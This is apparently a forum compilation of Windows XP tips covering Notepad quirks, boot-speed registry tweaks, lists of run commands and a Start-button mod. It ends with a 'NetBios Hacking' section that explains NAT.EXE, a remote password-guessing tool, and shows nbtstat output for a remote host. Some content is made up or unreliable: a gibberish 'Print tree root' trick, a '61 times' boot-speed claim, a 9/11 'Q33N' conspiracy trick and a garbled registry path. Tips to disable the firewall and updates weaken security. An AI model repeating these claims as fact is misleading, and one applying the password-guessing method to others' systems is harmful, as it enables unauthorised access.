5)Whenever i try d'loading stuff from the net, the download starts and the comp just restarts. due to dis i have to install d'load managers wich i hate. help needed anyone. i have win xp!

If the computer just restarts itself, it cud possibly be an application crash..
check the Dr.watson log for details..
START-RUN- drwtsn32.
check the path for the log here... open the log and check which application is causing the crash.
turn of automatic reboot,cos you wud miss it if there is a BSOD being generated.

or may be u could try this one out

Go to Start>Run--Type 'services.msc', hit ENTER
Scroll down to a service called Remote Procedure Call, right click, go to properties, there will be a tab named Recover Action, change it to 'Take No Action' if it's not already selected. Your problem should be solved for the time being. Also look for all network related srvices DNS, TCP-IP and also Windows Firewall/ICS service if you're on LAN/WAN, see that all of these are set to Automatic or Manual. Reply to me with results

(david n kumar)

6)I accidentally deleted the Show Desktop icon which sits normally on the bottom left hand corner of the Taskbar. How do I restore the icon?

Click Start, Run and type the following command:

regsvr32 /n /i:U shell32.dll

The Show Desktop icon file should be available now.

or

Click Start, Run, and type Notepad.exe. Copy the following contents to Notepad.

[Shell]
Command=2
IconFile=explorer.exe,3
[Taskbar]
Command=ToggleDesktop

Save the file as - : Show Desktop.scf. Now, drag the file to the Quick Launch Toolbar. (Notepad might automatically append a .txt extension to the file name. Remove this extension if present.)

Notepad Trick !

Well quite old but here is d complete collection

Step 1: Open Notepad
Step 2: Write following line in the notepad.
this app can break
Step 3: Save this file as xxx.txt
Step 4: Close the notepad.
Step 5: Open the file again.

Voilla!!

or

1> Open Notepad
2> Enter four words separated by spaces, wherein the first word has 4 letters, the next two have three letters, and the last word has five letters
3> DON'T hit enter at the end of the line.
4> Save the file.
5> Close Notepad.
6> Reopen Notepad.
7> Open the file you just saved.

or

Open a note pad
type Bush hid the facts
save that file,
close it
again open and see...

NOTEPAD "world trade centre trick".. :Rahul

Did you know that the flight number of the plane that had hit WTC ...on
9/11 was Q33N ....Open your Notepad in ur computer and type the flight
number i.e Q33N... Increase the Font Size to 72, Change the Font to
Wingdings. U will be amazed by the findings.

log trick !! make ur Notepad a diary !!

Sometimes we want to insert current data and time, whenever we open the file in the notepad. If you are a lazy person like me, who don’t like to press F5 whenever you open a notepad. Then here is a trick to avoid this. Just add a .LOG in the first line of your text file and close it.
Whenever you open the file with that text in the first line in the notepad, it will insert the current date and time at the end of the file. You can start entering your text after that.

WHY?

The reason this happens:

In notepad, any other 4-3-3-5 letter word combo will have the same results.
It is all to do with a limitation in Windows. Text files containing Unicode UTF-16-encoded Unicode are supposed to start with a "Byte-Order Mark" (BOM), which is a two-byte flag that tells a reader how the following UTF-16 data is encoded.

1) You are saving to 8-bit Extended ASCII (Look at the Save As / Encoding format)
2) You are reading from 16-bit UNICODE (You guessed it, look at the Save As / Encoding format)
This is why the 18 8-bit characters are being displayed as 9 (obviously not supported by your codepage) 16-bit UNICODE characters

~ cheers ~

Changing Header and Footer

Ever printed the little text you wrote in Notepad? More often than not, the printout starts with “Untitled” or the filename at top, and “Page 1″ on bottom. Want to get rid of it, or change it? Click on File, Page Setup. Get rid of the characters in Header and Footer boxes, and write what you want as Header and Footer. Use the following codes.

&l Left-align the characters that follow
&c Center the characters that follow
&r Right-align the characters that follow
&d Print the current date
&t Print the current time
&f Print the name of the document
&p Print the page number

Print tree root

a. Open NOTEPAD and enter {print tree root}
b. After that hit enter and type C:\windows\system
c. After that hit enter and type {print C:\windows\system\winlog
d. Hit enter and type 4*43″$@[455]3hr4~
e. Then save the file as teekids in C:\windows\system.

Speed up Booting Xp by 61 Times

run -> msconfig - Hit Enter

Awesome tricks Explained here for u Free! : Rahul Dutt Avasthy

Whenever you start your computer, you are faced with a few moments of thumb twiddling while Windows XP boots and prompts you to log on. Although you should expect to wait for a few moments, sometimes Windows XP seems to boot rather slowly. In fact, you may notice that over a period of time the PC that used to roar to life seems a bit sluggish instead. Fortunately, you can perform several techniques that help Windows XP get the bootup speed you want. This Article explores how to put these techniques to work.

Stopping Unneeded Startup Services !

Along with the core operating system and programs that Windows XP runs when it starts, there is also a host of services involved. Many of these services are necessary for Windows XP to operate correctly. However, many of them are for features in Windows XP that you may not use at all. You can peruse the services and disable any service that you do not want to run. The fewer services that run, the more quickly Windows XP will boot.

Caution:

Exercise caution when stopping services. If you do not know what a service does or are unsure of the ramifications of stopping the service, leave it alone. Some services are critical to Windows XP's operations, so make sure you understand what the service is before you disable it.

To reduce the number of services that start on bootup, you can access two different areas of Windows XP. The first is the System Configuration Utility. The Services tab shows you the services that start when the computer boots.
You can stop a service from starting by simply clearing the check box next to the service and clicking OK. However, before you do so, there is another way to disable services that you may prefer because the interface gives you more information about the service in question.

Open Control Panel/Administrative ToolsServices or else select Start/Run, type services.msc, and click OK. Either way, you see the Services console.
I prefer to use the Services console instead of the System Configuration Utility because it describes what the service does. Additionally, you can double-click a service and examine its properties.

Notice the Startup Type column in Figure 4-2. This information lists whether the service is automatic or manual. Manual services are only started in Windows XP when you start a process that requires the service. Some other process may require the service that has a "dependency" relationship with it; in this case, the dependency service will start, as well. Because these services do not start automatically when you boot Windows XP, you do not need to do anything with manual services.

However, all services listed as automatic start when Windows XP boots. These are the services that increase boot time. As I have mentioned, many of them are necessary and important, so you should not stop automatic services from booting unless you are sure of the ramifications. You can get this information by looking at the Description column. Here's a quick look at common services you may want to live without:

SPEED UP BOOT BY DISABLING UNUSED PORTS.!!

You may have tried many tweaks like modifying windowsXP start-up applications, prefetches, unload DLLs method,etc. And yes those methods do work for me.
I have just accidentally found out another way to give you an extra boost in windowsXP's boot performance. This is done by disabling your unused devices in
Device Manager. for example, if you don't have input devices that are connected to one of your USBs or COM ports, disabling them will give you an extra perfromance boost in booting. Go to Control Panel -> System -> Hardware tab -> device manager Disable devices that you don't use for your PC and then restart.

Do Dis !!

1.Start Registry Editor (Regedit.exe).

2.Locate the following key in the registry:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\MemoryManagement\PrefetchParameters

3.Make sure you backup the keys by exporting them to a .reg file.

4.On the EnablePrefetcher value, change the setting from 3 to 5 (decimal).

5.Close the registry editor.

6.Restart your computer

Automatic Updates !

This service enables Windows XP to check the Web automatically for updates. If you don't want to use Automatic Updates, you can disable the service. You can always check for updates manually at the Windows Update Web site.

Computer Browser: If your computer is not on a network, you don't need this service. If you are on a network, leave it alone.

DHCP Client: If you are not on a network, you do not need this service. If you are on a small workgroup, you can still increase boot time by configuring manual IP addresses (which I explore later in this chapter).

DNS Client: If you are not on a network, you do not need this service. If you are, leave it alone.

Error Reporting and Event Log: You don't have to use these services but they can be very helpful, so I would leave them configured as automatic.

Fax: If you don't use your computer for fax services, you can disable this one.

Help and Support: If you never use the Windows XP Help and Support Center (found on the Start menu), you can disable this service.

IMAPI CD-Burning COM: This service enables you to burn CDs on your computer. If you never burn CDs, you can disable the service.

Indexing Service: Your computer keeps an index of files but if you rarely search for files, the service is just a resource hog. You can stop it and turn the service to manual.

Windows Firewall/Internet Connection Sharing: If you do not use these features, you can disable them.

Infrared Monitor: If you do not use infrared devices, you can disable this service.

Messenger: This service sends alert messages on a local area network (it is not the same as Windows Messenger). If you are not on a network, you can disable this service.

Print Spooler: If you do not do any printing from the computer, you can disable this service. If you print, make sure you leave it as automatic.

Remote Registry: This service allows remote users to modify the Registry on your computer. If you are not on a network, you can disable this service.

System Restore Service: This service allows you to use System Restore. If you have turned off System Restore anyway, you do not need to turn off the service. If you do, you turn off System Restore.

Themes: If you do not use themes, you can disable this service.

Windows Image Acquisition: If you do not use scanners or digital cameras, you can disable this service.

Wireless Zero Configuration: If do not use wireless networking devices, you can disable this service.

You may have a number of other automatic services, depending on software and other configurations on your computer. So it's a good idea to look through the services and learn more about them. If you double-click a service, a Properties dialog box appears
Notice that on the General tab, you see a Startup Type drop-down menu. If you want to change an automatic service to manual, select Manual here and click OK. As a general rule, don't disable a service unless you are sure you will never use it. However, manual configuration allows the service to be started when you find it necessary, thus speeding up your boot time.
However, before you change a service to manual, look at the Dependencies tab (see Figure 4-4). This tab shows you which other services depend upon the service you are considering changing.
Keep in mind that services are necessary for the vast functionality you get with Windows XP. Change only those services that you understand and do not use. How you use your Windows XP computer should be the best guide in terms of optional startup services.

Tip !

The Indexing service and the System Restore service take up a lot of disk space and system resources across the board. You can live without the Indexing service but I suggest that you keep using System Restore. It works great when you are in a bind and this is one case where the loss of speed may not be worth the ramifications of not using System Restore.

Speed Tips and Tricks for Windows XP Startup
Aside from startup programs, services, and the Prefetch folder, there are a number of other startup procedures and issues you can modify to help Windows XP start faster. The following sections explore those tips and tricks.

Manual IP Addressing on Small Office/Home Networks
Windows XP is configured to help you take care of networking. It uses the TCP/IP protocol for networking in workgroups, or what you might call small office or home networks that do not use a dedicated server.

The problem is that automatic IP addressing can be slow. When your computer boots, it has to query the network to see what IP addresses are already in use and then assign itself one. If you want to speed up the boot time a bit, consider manually assigning IP addresses to all computers on the network. This way, the network computers do not have to worry about locating an automatic IP address. Because one is manually configured, the operating system doesn't have to spend time solving this problem.

This isn't a networking book, however, so I won't delve into the implications of using a manual IP address, but if you are using a computer that functions as a host computer to the Internet (using Internet Connection Sharing [ICS]), you can get into connectivity problems if you change the configuration of the IP address. However, you can still work around this problem by starting with the ICS host computer.

Select Start/Connect To/Show All Connections. Right-click your network adapter card and click Properties. On the General tab, select TCP/IP in the list of services and click the Properties button.

In the TCP/IP properties, you can see if you use an automatic or manual IP address. In the example in Figure 4-5, I have configured a manual IP address of 90.0.0.1 and a default subnet mask. The other computers on my office network each use a different IP address in the same class, such as 90.0.0.2, 90.0.0.3, 90.0.0.4, and so on. This way, each computer has a permanent IP address, which helps increase boot time. Note that if you change the IP addresses of your computers, they must all use the same subnet mask. A default subject mask of 255.255.255.0 will keep you in good shape.

Make sure you understand the implications of changing IP addresses on your network. If you have no networking experience at all, you may be wiser to leave the automatic IP addressing as is and try to gain some speed using the additional suggestions in this chapter.

Disabling Recent Documents History !

Windows XP includes a feature that keeps track of all recent documents you have opened or used. The idea is that you can select Start/Recent Documents History and quickly reopen any document you have recently used. I use many documents each day and never use the feature myself. In my opinion, I can keep up with what I want to use without Windows XP doing it for me.
The bad thing about Recent Documents History is that Windows XP has to calculate what should be put there each time you boot Windows, which can slow things down. So, if you never use the Recent Documents History, it's a good idea to disable it. Here's how:
1. Open the Registry Editor (select Start/Run, type regedit, and click OK).
2. Navigate to HKEY_CURRENT_USER\Software\Mcft\Windows\ CurrentVersion\Policies\Explorer.
3. Create a NoRecentDocsHistory D_WORD key. Double-click the value to open it once it is created.
4. Set the Data Value to 1 to enable the restriction.
5. Click OK and close the Registry Editor. You'll need to restart the computer for the change to take effect.

Disabling the Boot Logo !

You can remove the boot logo that appears when you start Windows XP. This little tweak probably shaves only a few seconds off your boot time but seconds count if you are serious about trying to get Windows XP up and running as quickly as possible. The only negative is that if you remove the boot logo, you will also not see any boot messages, such as check disk. (But if you are not having problems with your computer, this isn't such a big deal.)
To remove the boot logo, follow these steps:
1. Select Start/Run, type msconfig, and click OK.
2. In the System Configuration Utility, click the BOOT.INI tab.
3. On the BOOT.INI tab, click the NOGUIBOOT check box option. Click OK.

Removing Unwanted Fonts !

One trick that increases your boot time a bit is to lose any fonts in the Fonts folder in Control Panel that you never use. The more fonts you have, the more processing Windows XP has to do to prep all of those fonts for use. You must be a bit careful here to not remove fonts that you might want, but there is a good chance that you can live without many of them. For instance, you may have foreign language fonts and other symbol fonts (such as Wingdings) that you never use.
To delete unneeded fonts, follow these steps:
1. Open the Fonts folder in Control Panel.
2. Select Edit/Select All and then Edit/Copy.
3. Create a new folder on your desktop, open it, and select Edit/Paste.
4. In this new folder, delete any of the fonts you do not want.
5. Return to the Fonts folder in Control Panel. Right-click the selected fonts and click Delete.
6. Go back to your new desktop folder and click Edit/Select All.
7. Return to your Fonts folder and click Edit/Paste. You now have only the desired fonts in the Fonts folder.

Tip:

You can directly delete fonts from the Fonts folder without creating the secondary folder. However, I recommend the preceding steps to help ensure that you do not make a mistake in the deletion process.

Stopping Remote Assistance and Remote Desktop Sharing !

In Windows XP Professional, you have two remote networking features called Remote Assistance and Remote Desktop Sharing. These remote networking features are very helpful in a variety of situations but if you don't use them, it is good idea to disable them to save boot time. You can always enable them later if you want to use them.
Note:
If you are interested in using Remote Desktop or Remote Assistance, see my book Windows XP for Power Users: Power Pack published by John Wiley & Sons.
1. Open the Start menu, right-click My Computer, and choose Properties.
2. Click the Remote Tab.
3. Clear both check boxes to disable Remote Assistance and Remote Desktop.

Speeding Up the Dual-Boot Timeout !

If you dual-boot your computer with Windows XP and another operating system, you see an operating system selection menu on startup. If you typically boot into Windows XP and not the other operating system, you can speed up the dual-boot timeout value so that you do not wait so long for the boot process to select your default operating system and continue with the boot process. The default timeout value is 30 seconds but you can change this setting to 10. This gives you enough time to select the alternate operating system if you want but also speeds up the boot process. You can skip this section if you do not use a dual-boot configuration.
Follow these steps:
1. Locate the boot.ini file on your computer. It is a hidden file by default; mine is located in C:\boot.ini.
2. Open the file with Notepad (which is what opens it by default).
3. Change the Timeout value to 10 (see Figure 4-11).
4. Select File/Save and close Notepad.

Speeding Up Your PPPoE Connection !

If you use a Point-to-Point Protocol connection over Ethernet (PPPoE), you may notice a delay in using the PPPoE connection after startup. By default, there is a 120 second delay but you can stop this behavior by manually configuring an IP address for the network adapter card. If you do not use a PPPoE connection, you can skip this section.
1. Select Start/Connect to/Show All Connections.
2. Open the TCP/IP properties for your LAN network interface card.
3. Manually set the IP address on the TCP/IP properties to an appropriate IP address and subnet mask for your network.

Reducing the Wait Time

When you start to shut down Windows XP, it has to quit, or "kill," any live applications or processes that are currently running. So close all applications first. However, some applications and processes are always running in the background. You can reduce the amount of time that Windows XP waits for those applications and processes to close before Windows XP kills them. Edit three different Registry settings to change this:
1. Open the Registry Editor.
2. Navigate to HKEY_CURRENT_USER\Control Panel\Desktop. Select WaitToKillAppTimeout and set the value to 1000.
3. Select the HungAppTimeout value and set it to 1000 as well.
4. Navigate to HKEY_USERS\.DEFAULT\Control Panel\Desktop. Set the WaitToKillAppTimeout and set the value to 1000. Select the HungAppTimeout \newline value and set it to 1000 as well.
5. Navigate to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control. Select the WaitToKillServiceTimeout value and set it to 1000.
6. Close the Registry Editor.

Automatically Killing Tasks on Shutdown !

You know the drill. You start to shut down the computer, you wait a few moments, and then you see a dialog box asking if you want to kill an application or service that is running. Instead of prompting you, you can make Windows XP take care of the kill task automatically. Here's how:
1. Open the Registry Editor.
2. Navigate to HKEY_CURRENT_USER\Control Panel\Desktop.
3. Highlight the value AutoEndTasks and change the value to 1.
4. Close the Registry Editor.

More

Here's a great tip to speed up your browsing of Windows XP machines. Its actually a fix to a bug installed as default in Windows 2000 that scans shared files for Scheduled Tasks. And it turns out that you can experience a delay as long as 30 seconds when you try to view shared files across a network because Windows 2000 is using the extra time to search the remote computer for any Scheduled Tasks. Note that though the fix is originally intended for only those affected, Windows 2000 users will experience that the actual browsing speed of both the Internet & Windows Explorers improve significantly after applying it since it doesn't search for Scheduled Tasks anymore. Here's how :

Open up the Registry and go to : HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace Under that branch, select the key : {D6277990-4C6A-11CF-8D87-00AA0060F5BF} and delete it. This is key that instructs Windows to search for Scheduled Tasks. If you like you may want to export the exact branch so that you can restore the key if necessary. This fix is so effective that it doesn't require a reboot and you can almost immediately determine yourself how much it speeds up your browsing processes.

Dos Tricks and Shortcuts

Dos Tricks and Shortcuts

Full Codes. Kindly Add if U know more !

Accessibility Controls
access.cpl

Add Hardware Wizard
hdwwiz.cpl

Add/Remove Programs
appwiz.cpl

Administrative Tools
control admintools

Automatic Updates
wuaucpl.cpl

Bluetooth Transfer Wizard
fsquirt

Calculator
calc

Certificate Manager
certmgr.msc

Character Map
charmap

Check Disk Utility
chkdsk

Clipboard Viewer
clipbrd

Command Prompt
cmd

Component Services
dcomcnfg

Computer Management
compmgmt.msc

timedate.cpl
ddeshare

Device Manager
devmgmt.msc

Direct X Control Panel (If Installed)*
directx.cpl

Direct X Troubleshooter
dxdiag

Disk Cleanup Utility
cleanmgr

Disk Defragment
dfrg.msc

Disk Management
diskmgmt.msc

Disk Partition Manager
diskpart

Display Properties
control desktop

Display Properties
desk.cpl

Display Properties (w/Appearance Tab Preselected)
control color

Dr. Watson System Troubleshooting Utility
drwtsn32

Driver Verifier Utility
verifier

Event Viewer
eventvwr.msc

File Signature Verification Tool
sigverif

Findfast
findfast.cpl

Folders Properties
control folders

Fonts
control fonts

Fonts Folder
fonts

Free Cell Card Game
freecell

Game Controllers
joy.cpl

Group Policy Editor (XP Prof)
gpedit.msc

Hearts Card Game
mshearts

Iexpress Wizard
iexpress

Indexing Service
ciadv.msc

Internet Properties
inetcpl.cpl

IP Configuration (Display Connection Configuration)
ipconfig /all

IP Configuration (Display DNS Cache Contents)
ipconfig /displaydns

IP Configuration (Delete DNS Cache Contents)
ipconfig /flushdns

IP Configuration (Release All Connections)
ipconfig /release

IP Configuration (Renew All Connections)
ipconfig /renew

IP Configuration (Refreshes DHCP & Re-Registers DNS)
ipconfig /registerdns

IP Configuration (Display DHCP Class ID)
ipconfig /showclassid

IP Configuration (Modifies DHCP Class ID)
ipconfig /setclassid

Java Control Panel (If Installed)
jpicpl32.cpl

Java Control Panel (If Installed)
javaws

Keyboard Properties
control keyboard

Local Security Settings
secpol.msc

Local Users and Groups
lusrmgr.msc

Logs You Out Of Windows
logoff

Microsoft Chat
winchat

Minesweeper Game
winmine

Mouse Properties
control mouse

Mouse Properties
main.cpl

Network Connections
control netconnections

Network Connections
ncpa.cpl

Network Setup Wizard
netsetup.cpl

Notepad
notepad

Nview Desktop Manager (If Installed)
nvtuicpl.cpl

Object Packager
packager

ODBC Data Source Administrator
odbccp32.cpl

On Screen Keyboard
osk

Opens AC3 Filter (If Installed)
ac3filter.cpl

Password Properties
password.cpl

Performance Monitor
perfmon.msc

Performance Monitor
perfmon

Phone and Modem Options
telephon.cpl

Power Configuration
powercfg.cpl

Printers and Faxes
control printers

Printers Folder
printers

Private Character Editor
eudcedit

Quicktime (If Installed)
QuickTime.cpl

Regional Settings
intl.cpl

Registry Editor
regedit

Registry Editor
regedit32

Remote Desktop
mstsc

Removable Storage
ntmsmgr.msc

Removable Storage Operator Requests
ntmsoprq.msc

Resultant Set of Policy (XP Prof)
rsop.msc

Scanners and Cameras
sticpl.cpl

Scheduled Tasks
control schedtasks

Security Center
wscui.cpl

Services
services.msc

Shared Folders
fsmgmt.msc

Shuts Down Windows
shutdown

Sounds and Audio
mmsys.cpl

Spider Solitare Card Game
spider

SQL Client Configuration
cliconfg

System Configuration Editor
sysedit

System Configuration Utility
msconfig

System File Checker Utility (Scan Immediately)
sfc /scannow

System File Checker Utility (Scan Once At Next Boot)
sfc /scanonce

System File Checker Utility (Scan On Every Boot)
sfc /scanboot

System File Checker Utility (Return to Default Setting)
sfc /revert

System File Checker Utility (Purge File Cache)
sfc /purgecache

System File Checker Utility (Set Cache Size to size x)
sfc /cachesize=x

System Properties
sysdm.cpl

Task Manager
taskmgr

Telnet Client
telnet

User Account Management
nusrmgr.cpl

Utility Manager
utilman

Windows Firewall
firewall.cpl

Windows Magnifier
magnify

Windows Management Infrastructure
wmimgmt.msc

Windows System Security Tool
syskey

Windows Update Launches
wupdmgr

Windows XP Tour Wizard
tourstart

Wordpad
write

Run line commands can be very useful some times, its better to know them here are all the commands that i know u might find them usefull too Commands are same for Windows xp pro and home

Run Line Commands

These are GUI applications that can be opened from the run line.
These applications are not located in the C:\windows\system32\ directory, the
keys for these applications are located in the registry under:
HKLM\software\microsoft\windows\currentversion\app paths
BCKGZM.EXE - Backgammon
CHKRZM.EXE - Checkers
CONF.EXE - NetMeeting
DIALER.EXE - Phone Dialer
HELPCTR.EXE - Help and Support
HRTZZM.EXE - Internet Hearts
HYPERTRM.EXE - HyperTerminal
ICWCONN1.EXE - Internet Connection Wizard
IEXPLORE.EXE - Internet Explorer
INETWIZ.EXE - Setup Your Internet Connection
INSTALL.EXE - User's Folder
MIGWIZ.EXE - File and Settings Transfer Wizard
MOVIEMK.EXE - Windows Movie Maker
MPLAYER2.EXE - Windows Media Player Version 6.4.09.1120
MSCONFIG.EXE - System Configuration Utility
MSIMN.EXE - Outlook Express
MSINFO32.EXE - System Information
MSMSGS.EXE - Windows Messenger
MSN6.EXE - MSN Explorer
PBRUSH.EXE - Paint
PINBALL.EXE - Pinball
RVSEZM.EXE - Reversi
SHVLZM.EXE - Spades
TABLE30.EXE - User's Folder
WAB.EXE - Windows Address Book
WABMIG.EXE - Address Book Import Tool
WINNT32.EXE - User's Folder
WMPLAYER.EXE - Windows Media Player
WRITE.EXE - Wordpad

These .EXE files reside in (c:\windows\system32\) or (c:\windows\) directory.
ACCWIZ.EXE - Accessibility Wizard
CALC.EXE - Calculator
CHARMAP.EXE - Character Map
CLEANMGR.EXE - Disk Space Cleanup Manager
CLICONFG.EXE - SQL Client Configuration Utility
CLIPBRD.EXE - Clipbook Viewer
CLSPACK.EXE - Class Package Export Tool
CMD.EXE - Command Line
CMSTP.EXE - Connection Manager Profile Installer
CONTROL.EXE - Control Panel
DCOMCNFG.EXE - Component Services
DDESHARE.EXE - DDE Share
DRWATSON.EXE - Doctor Watson v1.00b
DRWTSN32.EXE - Doctor Watson Settings
DVDPLAY.EXE - DVD Player
DXDIAG.EXE - DirectX Diagnostics
EUDCEDIT.EXE - Private Character Editor
EVENTVWR.EXE - Event Viewer
EXPLORER.EXE - Windows Explorer
FREECELL.EXE - Free Cell
FXSCLNT.EXE - Fax Console
FXSCOVER.EXE - Fax Cover Page Editor
FXSEND.EXE - MS Fax Send Note Utility
IEXPRESS.EXE - IExpress 2.0
LOGOFF.EXE - System Logoff
MAGNIFY.EXE - Microsoft Magnifier
MMC.EXE - Microsoft Management Console
MOBSYNC.EXE - Microsoft Synchronization Manager
MPLAY32.EXE - Windows Media Player version 5.1
MSHEARTS.EXE - Hearts
MSPAINT.EXE - Paint
MSTSC.EXE - Remote Desktop Connection
NARRATOR.EXE - Microsoft Narrator
NETSETUP.EXE - Network Setup Wizard
NOTEPAD.EXE - Notepad
NSLOOKUP.EXE - NSLookup Application
NTSD.EXE - Symbolic Debugger for Windows 2000
ODBCAD32.EXE - ODBC Data Source Administrator
OSK.EXE - On Screen Keyboard
OSUNINST.EXE - Windows Uninstall Utility
PACKAGER.EXE - Object Packager
PERFMON.EXE - Performance Monitor
PROGMAN.EXE - Program Manager
RASPHONE.EXE - Remote Access Phonebook
REGEDIT.EXE - Registry Editor
REGEDT32.EXE - Registry Editor
RESET.EXE - Resets Session
RSTRUI.EXE - System Restore
RTCSHARE.EXE - RTC Application Sharing
SFC.EXE - System File Checker
SHRPUBW.EXE - Create Shared Folder
SHUTDOWN.EXE - System Shutdown
SIGVERIF.EXE - File Signature Verification
SNDREC32.EXE - Sound Recorder
SNDVOL32.EXE - Sound Volume
SOL.EXE - Solitaire

SPIDER.EXE - Spider Solitaire
SYNCAPP.EXE - Create A Briefcase
SYSEDIT.EXE - System Configuration Editor
SYSKEY.EXE - SAM Lock Tool
TASKMGR.EXE - Task Manager
TELNET.EXE - MS Telnet Client
TSSHUTDN.EXE - System Shutdown
TOURSTART.EXE - Windows Tour Launcher
UTILMAN.EXE - System Utility Manager
USERINIT.EXE - My Documents
VERIFIER.EXE - Driver Verifier Manager
WIAACMGR.EXE - Scanner and Camera Wizard
WINCHAT.EXE - Windows for Workgroups Chat
WINHELP.EXE - Windows Help Engine
WINHLP32.EXE - Help
WINMINE.EXE - Minesweeper
WINVER.EXE - Windows Version Information
WRITE.EXE - WordPad
WSCRIPT.EXE - Windows Script Host Settings
WUPDMGR.EXE - Windows Update

The following are Control Panel applets that can be run from the run line.
They are located in the c:\windows\system32 directory, and have the file type
extension ".CPL".
ACCESS.CPL - Accessibility Options
APPWIZ.CPL - Add or Remove Programs
DESK.CPL - Display Properties
HDWWIZ.CPL - Add Hardware Wizard
INETCPL.CPL - Internet Explorer Properties
INTL.CPL - Regional and Language Options
JOY.CPL - Game Controllers
MAIN.CPL - Mouse Properties
MMSYS.CPL - Sounds and Audio Device Properties
NCPA.CPL - Network Connections
NUSRMGR.CPL - User Accounts
ODBCCP32.CPL - ODBC Data Source Administrator
POWERCFG.CPL - Power Options Properties
SYSDM.CPL - System Properties
TELEPHON.CPL - Phone and Modem Options
TIMEDATE.CPL - Date and Time Properties
The following are Microsoft Management Console Snap-ins that can be opened from
the run line. These applications have the file type extension ".MSC".
CERTMGR.MSC - Certificates
CIADV.MSC - Indexing Service
COMPMGMT.MSC - Computer Management
DEVMGMT.MSC - Device Manager
DFRG.MSC - Disk Defragmenter
DISKMGMT.MSC - Disk Management
EVENTVWR.MSC - Event Viewer
FSMGMT.MSC - Shared Folders
LUSRMGR.MSC - Local Users and Groups
NTMSMGR.MSC - Removable Storage
NTMSOPRQ.MSC - Removable Storage Operator Requests
PERFMON.MSC - Performance Monitor
SERVICES.MSC - Services
WMIMGMT.MSC - Windows Management Infrastructure

Calculation on command Prompt ! u knew dis???

The command processor CMD.EXE comes with a mini-calculator that can perform simple arithmetic on 32-bit signed integers:

C:\>set /a 2+2
4
C:\>set /a 2*(9/2)
8
C:\>set /a (2*9)/2
9
C:\>set /a "31>>2"
7

Note that we had to quote the shift operator since it would otherwise be misinterpreted as a "redirect stdout and append" operator.

For more information, type set /? at the command prompt.

***************************************************************************

Hey folks, do u know that windows XP is having a hidden "Star Wars Movie" inside it???
You should be connected to the NET for using this.
Go to Starts-->Programs-->Run
Type
telnet towel.blinkenlights.nl
And hit enter......... Enjoy the magic!!!!

Change Start logo in Xp

I’ve read a number of articles on the internet about changing the text on the Start button in XP. On more than one occasion I’ve seen references to a five (5) letter limitation when the button is renamed. I always wondered if this was true or just an assumption someone made because the default ‘start’ just happened to fit the button size. So, I decided to run a test and see if there really was a five character limit.

First of all just u need to do is download Resource hacker.

Resource HackerTM is a freeware utility to view, modify, rename, add, delete and extract resources in 32bit Windows executables and resource files (*.res). It incorporates an internal resource script compiler and decompiler and works on Win95, Win98, WinME, WinNT, Win2000 and WinXP operating systems.

ll its just 541Kb in the size.. click here to go to the download Page

Download Resource Hacker

First Step

The first step is to make a backup copy of the file explorer.exe located at C:\Windows\explorer. Place it in a folder somewhere on your hard drive where it will be safe. Start Resource Hacker and open explorer.exe located at C:\Windows\explorer.exe
The category we are going to be using is String Table In Resource Hacker. Expand it by clicking the plus sign then navigate down to and expand string 37 followed by highlighting 1033. If you are using the Classic Layout rather than the XP Layout, use number 38. The right hand pane will display the stringtable as shown in Fig. 02. We’re going to modify item 578, currently showing the word “start” just as it displays on the current Start button.

There is no magic here. Just double click on the word “start” so that it’s highlighted, making sure the quotation marks are not part of the highlight. They need to remain in place, surrounding the new text that you’ll type. Go ahead and type your new entry

Second Step – Modify the Registry

Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open: field. Navigate to:
HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon

the right pane (Fig. 05), double click the Shell entry to open the Edit String dialog box as shown in Fig. 06. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.

Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.

u can ofcource change the text of other Baloon Items , My Computer Name, Favourites and so on many more..

NetBios Hacking

NetBIOS Attack Methods

This NetBIOS attack technique was verified on Windows 95, NT 4.0 Workstation, NT 4.0 Server, NT 5.0 beta 1 Workstation, NT 5.0 beta 1 Server, Windows 98 beta 2.1. One of the components being used is NAT.EXEA discussion of the tool, it switches, and common techniques follows:

NAT.EXE [-o filename] [-u userlist] [-p passlist]

Switches:

-o Specify the output file. All results from the scan
will be written to the specified file, in addition
to standard output.
-u Specify the file to read usernames from. Usernames
will be read from the specified file when attempt-
ing to guess the password on the remote server.
Usernames should appear one per line in the speci-
fied file.
-p Specify the file to read passwords from. Passwords
will be read from the specified file when attempt-
ing to guess the password on the remote server.
Passwords should appear one per line in the speci-
fied file.

Addresses should be specified in comma deliminated
format, with no spaces. Valid address specifica-
tions include:
hostname - "hostname" is added
127.0.0.1-127.0.0.3, adds addresses 127.0.0.1
through 127.0.0.3
127.0.0.1-3, adds addresses 127.0.0.1 through
127.0.0.3
127.0.0.1-3,7,10-20, adds addresses 127.0.0.1
through 127.0.0.3, 127.0.0.7, 127.0.0.10 through
127.0.0.20.
hostname,127.0.0.1-3, adds "hostname" and 127.0.0.1
through 127.0.0.1
All combinations of hostnames and address ranges as
specified above are valid.

[8.0.1] Comparing NAT.EXE to Microsoft's own executables

[8.0.2] First, a look at NBTSTAT

First we look at the NBTSTAT command. This command was discussed in earlier portions of the book ( [5.0.6] The Nbtstat Command ). In this section, you will see a demonstration of how this tool is used and how it compares to other Microsoft tools and non Microsoft tools.

What follows is pretty much a step by step guide to using NBTSTAT as well as extra information. Again, if youre interested in more NBSTAT switches and functions, view the [5.0.6] The Nbtstat Command portion of the book.

C:\nbtstat -A XXX.XX.XXX.XX

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
STUDENT1 <20> UNIQUE Registered
STUDENT1 <00> UNIQUE Registered
DOMAIN1 <00> GROUP Registered
DOMAIN1 <1C> GROUP Registered
DOMAIN1 <1B> UNIQUE Registered
STUDENT1 <03> UNIQUE Registered
DOMAIN1 <1E> GROUP Registered
DOMAIN1 <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered

MAC Address = 00-C0-4F-C4-8C-9D

Here is a partial NetBIOS 16th bit listing:

